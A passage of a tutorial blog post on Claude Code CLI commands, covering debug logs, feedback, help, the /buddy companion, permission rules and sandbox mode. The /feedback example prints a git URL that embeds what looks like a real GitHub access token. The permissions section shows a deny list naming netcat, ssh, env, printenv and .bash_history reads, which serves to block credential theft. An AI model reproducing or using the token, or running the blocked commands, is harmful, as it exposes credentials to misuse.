class="si"&gt;$(&lt;/span&gt;git &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.workspace.project_dir'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; branch &lt;span class="nt"&gt;--show-current&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$proj&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$branch&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; completed with status 0
2026-04-29T18:14:01.451Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API:auth] OAuth token check &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:14:01.469Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API REQUEST] /anthropic/v1/messages &lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;repl_main_thread
2026-04-29T18:14:01.517Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Added snapshot &lt;span class="k"&gt;for &lt;/span&gt;03a71a38-a939-496a-b94c-94b593035519, tracking 10 files
2026-04-29T18:14:01.538Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 5 &lt;span class="o"&gt;(&lt;/span&gt;443→448&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:13.607Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Stream started - received first chunk
2026-04-29T18:14:16.271Z &lt;span class="o"&gt;[&lt;/span&gt;WARN] &lt;span class="o"&gt;[&lt;/span&gt;3P telemetry] Event dropped &lt;span class="o"&gt;(&lt;/span&gt;no event logger initialized&lt;span class="o"&gt;)&lt;/span&gt;: api_request
2026-04-29T18:14:16.276Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 2 &lt;span class="o"&gt;(&lt;/span&gt;448→450&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:16.357Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] High write ratio: &lt;span class="nv"&gt;blit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;58567 &lt;span class="o"&gt;(&lt;/span&gt;100.0% writes&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="nv"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;759x143
2026-04-29T18:14:16.374Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:14:16.376Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486456374
2026-04-29T18:14:16.376Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 1057 bytes
2026-04-29T18:14:16.377Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:14:16.377Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486456374 to /home/node/.claude.json
2026-04-29T18:14:16.378Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.423Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] LSP server manager shut down successfully
2026-04-29T18:16:46.435Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.436Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606435
2026-04-29T18:16:46.436Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 1141 bytes
2026-04-29T18:16:46.437Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.438Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606435 to /home/node/.claude.json
2026-04-29T18:16:46.438Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.439Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Metrics &lt;span class="nb"&gt;export &lt;/span&gt;disabled by organization setting
2026-04-29T18:16:46.440Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] BigQuery metrics exporter flush &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:16:46.441Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] BigQuery metrics exporter flush &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:16:46.443Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] BigQuery metrics exporter shutdown &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:16:46.447Z &lt;span class="o"&gt;[&lt;/span&gt;WARN] &lt;span class="o"&gt;[&lt;/span&gt;stderr]
2026-04-29T18:16:46.451Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.453Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606451
2026-04-29T18:16:46.453Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 1966 bytes
2026-04-29T18:16:46.454Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.455Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606451 to /home/node/.claude.json
2026-04-29T18:16:46.457Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.460Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.461Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606460
2026-04-29T18:16:46.461Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 2358 bytes
2026-04-29T18:16:46.462Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.463Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606460 to /home/node/.claude.json
2026-04-29T18:16:46.463Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/feedback&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Occasionally, a Claude Code session might show unexpected behavior, or even crash. To capture the necessary diagnostics and create a bug ticket for Anthropic, this command can be used.&lt;/p&gt;

&lt;p&gt;Executing this command opens an interactive dialog, in which a short explanation is requested from the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/feedback

─────────────────────────────────────────────────────────────────────────────
  Submit Feedback / Bug Report

  Describe the issue below:

  When running long running tasks, the terminal commands to list background &lt;span class="nb"&gt;jobs &lt;/span&gt;should be executable &lt;span class="k"&gt;in &lt;/span&gt;the same manner as the /btw command.

  Enter to &lt;span class="k"&gt;continue&lt;/span&gt; · Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Upon confirming you issue, another screen details which kind of information will be included in the report. Pressing enter confirms your acceptance, and the issue will be sent to Anthropic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Submit Feedback / Bug Report

  This report will include:
    - Your feedback / bug description: When running long running tasks, the terminal commands to list     background &lt;span class="nb"&gt;jobs &lt;/span&gt;should be executable &lt;span class="k"&gt;in &lt;/span&gt;the same manner as the /btw command.
    - Environment info: linux, xterm, v2.1.91
    - Git repo metadata: feature/optimizations, c4d53f8 @ https://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@github.com/admantium-sg/universal-skill-converter.git, has &lt;span class="nb"&gt;local &lt;/span&gt;changes
    - Current session transcript

  We will use your feedback to debug related issues or to improve Claude Code&lt;span class="s1"&gt;'s functionality (eg. to reduce the risk of bugs occurring in the future).

  Press Enter to confirm and submit.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/help&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To get familiar with the complexity of the Claude Code CLI, this command provides a structured, compact reference. When executed, it opens a horizontal navigable screen with the three sections general, command, and custom commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /help

─────────────────────────────────────────────────────────────────────────────
  Claude Code v2.1.91  general   commands   custom-commands

  Claude understands your codebase, makes edits with your permission, and executes commands — right from your terminal.

  New here? Run /powerup to learn the features most people miss.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the first part, all defined keyboard shortcuts are printed. Helpful text editing features include file mentioning, undo, stashing, and opening an editor for complex prompts. You can also toggle the model and fast mode, and execute bash commands without leaving the CLI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  Shortcuts
  &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;bash mode           double tap esc to clear input        ctrl + &lt;span class="nb"&gt;shift&lt;/span&gt; + - to undo
  / &lt;span class="k"&gt;for &lt;/span&gt;commands            &lt;span class="nb"&gt;shift&lt;/span&gt; + tab to auto-accept edits     ctrl + z to &lt;span class="nb"&gt;suspend&lt;/span&gt;
  @ &lt;span class="k"&gt;for &lt;/span&gt;file paths          ctrl + o &lt;span class="k"&gt;for &lt;/span&gt;verbose output          ctrl + v to &lt;span class="nb"&gt;paste &lt;/span&gt;images
  &amp;amp; &lt;span class="k"&gt;for &lt;/span&gt;background          ctrl + t to toggle tasks             meta + p to switch model
  /btw &lt;span class="k"&gt;for &lt;/span&gt;side question    backslash &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\)&lt;/span&gt; + &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;⏎&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for       &lt;/span&gt;meta + o to toggle fast mode
                            newline                              ctrl + s to stash prompt
                                                                 ctrl + g to edit &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$EDITOR&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second section lists all available commands, alphabetically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Browse default commands:

/add-dir
  Add a new working directory
/agents
  Manage agent configurations
/branch
  Create a branch of the current conversation at this point
/btw
  Ask a quick side question without interrupting the main conversation
/clear
  Clear conversation &lt;span class="nb"&gt;history &lt;/span&gt;and free up context

...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the last section shows an interesting amount of commands grouped together, and includes custom commands defined in your global and local Claude settings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Browse custom commands:

/batch
  Research and plan a large-scale change, &lt;span class="k"&gt;then &lt;/span&gt;execute it &lt;span class="k"&gt;in &lt;/span&gt;parallel across 5–30 isolated worktree agents that ea…
/claude-api
  Build apps with the Claude API or Anthropic SDK.…
/debug
  Enable debug logging &lt;span class="k"&gt;for &lt;/span&gt;this session and &lt;span class="nb"&gt;help &lt;/span&gt;diagnose issues &lt;span class="o"&gt;(&lt;/span&gt;bundled&lt;span class="o"&gt;)&lt;/span&gt;
/loop
  Run a prompt or slash &lt;span class="nb"&gt;command &lt;/span&gt;on a recurring interval &lt;span class="o"&gt;(&lt;/span&gt;e.g. /loop 5m /foo, defaults to 10m&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;bundled&lt;span class="o"&gt;)&lt;/span&gt;
/simplify
  Review changed code &lt;span class="k"&gt;for &lt;/span&gt;reuse, quality, and efficiency, &lt;span class="k"&gt;then &lt;/span&gt;fix any issues found. &lt;span class="o"&gt;(&lt;/span&gt;bundled&lt;span class="o"&gt;)&lt;/span&gt;
/update-config
  Use this skill to configure the Claude Code harness via settings.json. Automated behaviors &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"from now on when X"&lt;/span&gt;…
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  /powerup
&lt;/h3&gt;

&lt;p&gt;Another command to get familiar with the Claude Code CLI is to use &lt;code&gt;powerup&lt;/code&gt;. It provides a to-do list with essential topics that you should work on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/powerup

─────────────────────────────────────────────────────────────────────────────
  Power-ups 0/10 unlocked

  Each power-up teaches one thing Claude Code can &lt;span class="k"&gt;do &lt;/span&gt;that most people miss. Open one, &lt;span class="nb"&gt;read &lt;/span&gt;it, try it, mark it &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  ❯ ◯ Talk to your codebase    @ files, line refs
    ◯ Steer with modes         &lt;span class="nb"&gt;shift&lt;/span&gt;+tab, plan, auto
    ◯ Undo anything            /rewind, Esc-Esc
    ◯ Run &lt;span class="k"&gt;in &lt;/span&gt;the background    tasks, /tasks
    ◯ Teach Claude your rules  CLAUDE.md, /memory
    ◯ Extend with tools        MCP, /mcp
    ◯ Automate your workflow   skills, hooks
    ◯ Multiply yourself        subagents, /agents
    ◯ Code from anywhere       /remote-control, /teleport
    ◯ Dial the model           /model, /effort
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the printout of the first lesson.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; ◯ Talk to your codebase

  Type @ anywhere &lt;span class="k"&gt;in &lt;/span&gt;your prompt to fuzzy-find and attach a file. Claude reads it before answering — no more pasting code.

  ╭──────────────────────────────────────────────╮
  │ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; what does @src/auth.ts &lt;span class="k"&gt;do&lt;/span&gt;?          ◐ demo │
  │ ◐ Reading src/auth.ts…                       │
  │                                              │
  ╰──────────────────────────────────────────────╯

  Reference specific lines with src/app.ts:42 and Claude jumps straight there. Works &lt;span class="k"&gt;in &lt;/span&gt;both directions: Claude cites files the same way, so you can click to open them &lt;span class="k"&gt;in &lt;/span&gt;your editor.

  Also try: @folder/ to attach a whole directory tree.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/stickers&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A command named for what it does – it opens a webpage where you can order real stickers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/stickers
  ⎿  Failed to open browser. Visit: https://www.stickermule.com/claudecode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is a screenshot of the offered variants.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmttg9y9jljyqcc5ppsfq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmttg9y9jljyqcc5ppsfq.png" width="800" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  /buddy
&lt;/h3&gt;

&lt;p&gt;In the middle of working on this article, I discovered a new command in the list. It creates a coding companion, a Tamagotchi like creature that lives on your terminal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭──────────────────────────────────────╮
│                                      │
│  ★ COMMON                     CHONK  │
│                                      │
│    /&lt;span class="se"&gt;\ &lt;/span&gt;   /&lt;span class="se"&gt;\ &lt;/span&gt;                         │
│   &lt;span class="o"&gt;(&lt;/span&gt; ✦    ✦ &lt;span class="o"&gt;)&lt;/span&gt;                         │
│   &lt;span class="o"&gt;(&lt;/span&gt;   ..   &lt;span class="o"&gt;)&lt;/span&gt;                         │
│    &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;------&lt;/span&gt;´                          │
│                                      │
│  Gravy                               │
│                                      │
│  &lt;span class="s2"&gt;"A common chonk of few words."&lt;/span&gt;      │
│                                      │
│  DEBUGGING  ███░░░░░░░  25           │
│  PATIENCE   ░░░░░░░░░░   1           │
│  CHAOS      █░░░░░░░░░   9           │
│  WISDOM     ██████░░░░  55           │
│  SNARK      ████░░░░░░  43           │
│                                      │
╰──────────────────────────────────────╯

Gravy is here · it&lt;span class="s1"&gt;'ll chime in as you code
your buddy won'&lt;/span&gt;t count toward your usage
say its name to get its take · /buddy pet · /buddy off
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During coding, prompts will be watched by this creature, increasing or decreasing its attributes. Alternatively, you can mention it actively, and give it a task. The interaction below shows that the main agent receives the prompt, and then invokes the companion, which is likely implemented as an agent too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Gravy, what &lt;span class="k"&gt;do &lt;/span&gt;you think is my intention during this session?

∴ Thinking…

  The user is asking Gravy &lt;span class="o"&gt;(&lt;/span&gt;the companion chonk&lt;span class="o"&gt;)&lt;/span&gt; what their intention is during this session. Gravy will respond. My job is to stay out of the way and &lt;span class="nb"&gt;let &lt;/span&gt;Gravy answer - but also, as the assistant, I should be ready to &lt;span class="k"&gt;continue &lt;/span&gt;work once Gravy finishes.

...
Gravy says: &lt;span class="s2"&gt;"It looks like you're here to learn how to build LLM-powered apps with the Claude API, then probably put that knowledge to work — maybe on the Python refactor plan that's sitting in the background? Or maybe you're just browsing the docs. Hard to tell, but I'm getting "&lt;/span&gt;planning to build something smart&lt;span class="s2"&gt;" vibes from you."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Permissions
&lt;/h2&gt;

&lt;p&gt;Claude Code has an extensive permission system, regulating shell command execution, file modification, and access to special or pseudo files.&lt;/p&gt;

&lt;p&gt;When starting a session inside a terminal, you must approve to trust this folder. Then, all bash commands that Claude generates to e.g. explore the code base, listing files, reading their content, and continuing with editing and writing files or running tests on your source code, ultimately require permissions. The individual commands allowed or restricted are recorded in a &lt;code&gt;settings.json&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;Four scopes for this file exists: Globally managed, in Linux systems under the path &lt;code&gt;/etc/claude-code/&lt;/code&gt;, in your home directory &lt;code&gt;~/.claude&lt;/code&gt;, in the project directory, and in the local folder you are working on. From all these locations, the currently effective config will be merged, in this order: local, project, user, command line arguments, managed. Local settings can override anything else, with the exception of managed settings. This file is meant to place system settings that restric access to conventional files, pseudo files at &lt;code&gt;/proc&lt;/code&gt;, or special files such as sockets. This is advisable to limit the risks of accidential credantial exposure or executing malicious code that damages or infilrates the host.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/permissions&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Editing the permission settings directly in the JSON files can be tedious. This command helps with a structured dialog to browse, edit, and add permissions.&lt;/p&gt;

&lt;p&gt;The opening dialogue shows four sections at the top: Recently denied, Allow, Ask, Deny, and Workspace. Each of these sections list the corresponding permissions entries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /permissions

─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code won&lt;span class="s1"&gt;'t ask before using allowed tools.
  ╭───────────────────────────────────────────────╮
  │ ⌕ Search…                                     │
  ╰───────────────────────────────────────────────╯

    1. Add a new rule…
    2. Bash(node:*)
    3. Read
    4. WebSearch

   ←/→ tab switch · ↓ return · Esc cancel
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is an example for adding a new rule, executing &lt;code&gt;npm run lint&lt;/code&gt; in the project. The dialog ask where this rule should be persisted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Add allow permission rule

    Bash&lt;span class="o"&gt;(&lt;/span&gt;npm run lint&lt;span class="o"&gt;)&lt;/span&gt;
    The Bash &lt;span class="nb"&gt;command &lt;/span&gt;npm run lint


  Where should this rule be saved?
  ❯ 1. Project settings &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;  Saved &lt;span class="k"&gt;in&lt;/span&gt; .claude/settings.local.json
    2. Project settings          Checked &lt;span class="k"&gt;in &lt;/span&gt;at .claude/settings.json
    3. User settings             Saved &lt;span class="k"&gt;in &lt;/span&gt;at ~/.claude/settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When browsing to the Deny section, entries from my managed settings are shown ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code will always reject requests to use denied tools.
  ╭──────────────────────────────────────────────────────────╮
  │ ⌕ Search…                                                │
  ╰──────────────────────────────────────────────────────────╯

    1.  Add a new rule…
    2.  Bash&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;env&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    3.  Bash&lt;span class="o"&gt;(&lt;/span&gt;nc&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    4.  Bash&lt;span class="o"&gt;(&lt;/span&gt;ncat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    5.  Bash&lt;span class="o"&gt;(&lt;/span&gt;netcat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    6.  Bash&lt;span class="o"&gt;(&lt;/span&gt;netstat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    7.  Bash&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;printenv&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    8.  Bash&lt;span class="o"&gt;(&lt;/span&gt;ss&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    9.  Bash&lt;span class="o"&gt;(&lt;/span&gt;ssh&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  ↓ 10. Grep&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.bash_history&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and can not be edited.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─────────────────────────────────────────────────────────────────────╮
│ Rule details                                                        │
│   Bash&lt;span class="o"&gt;(&lt;/span&gt;netcat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;                                                     │
│   The Bash &lt;span class="nb"&gt;command &lt;/span&gt;netcat&lt;span class="k"&gt;*&lt;/span&gt;                                          │
│   From enterprise managed settings                                  │
│ This rule is configured by managed settings and cannot be modified. │
│ Contact your system administrator &lt;span class="k"&gt;for &lt;/span&gt;more information.             │ 
╰─────────────────────────────────────────────────────────────────────╯

Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, the Workspace section shows the current working directory, and enables to add additional ones too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code can &lt;span class="nb"&gt;read &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;the workspace, and make edits when auto-accept edits is on.

    -  /opt/claude/universal-skill-converter &lt;span class="o"&gt;(&lt;/span&gt;Original working directory&lt;span class="o"&gt;)&lt;/span&gt;
    1. Add directory…


   ←/→ tab switch · ↓ &lt;span class="k"&gt;return&lt;/span&gt; · Esc cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/sandbox&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Another security layer is sandbox mode. The Claude CLI runs with a system-specific process supervisor, which is seatbelt for osx and bubblewrap for Linux and the Windows WSL2 shell.&lt;/p&gt;

&lt;p&gt;This command start a dialogue that navigates the setting landscape of sandbox mode, with four different sections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the first tab, "Mode", the invocation alternatives are listed. The sandbox can be disabled, enabled for bash commands with regular permissions, or enabled for bash with auto allow&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

  Note: Cannot block unix domain sockets &lt;span class="o"&gt;(&lt;/span&gt;see Dependencies tab&lt;span class="o"&gt;)&lt;/span&gt;

  Configure Mode:

    1. Sandbox BashTool, with auto-allow
    2. Sandbox BashTool, with regular permissions
    3. No Sandbox &lt;span class="o"&gt;(&lt;/span&gt;current&lt;span class="o"&gt;)&lt;/span&gt;

  Auto-allow mode: Commands will try to run &lt;span class="k"&gt;in &lt;/span&gt;the sandbox automatically, and attempts to run outside of the sandbox
  fallback to regular permissions. Explicit ask/deny rules are always respected.

  Learn more: code.claude.com/docs/en/sandboxing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I enabled the second option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/sandbox
  ⎿  ✓ Sandbox enabled with regular bash permissions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dependencies tab lists all required libraries or OS packages and their install status. When testing this command initially, I saw that one requirement was still missing, and installed it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config


  ripgrep &lt;span class="o"&gt;(&lt;/span&gt;rg&lt;span class="o"&gt;)&lt;/span&gt;: found

  bubblewrap &lt;span class="o"&gt;(&lt;/span&gt;bwrap&lt;span class="o"&gt;)&lt;/span&gt;: installed

  socat: installed

  seccomp filter: not installed &lt;span class="o"&gt;(&lt;/span&gt;required to block unix domain sockets&lt;span class="o"&gt;)&lt;/span&gt;
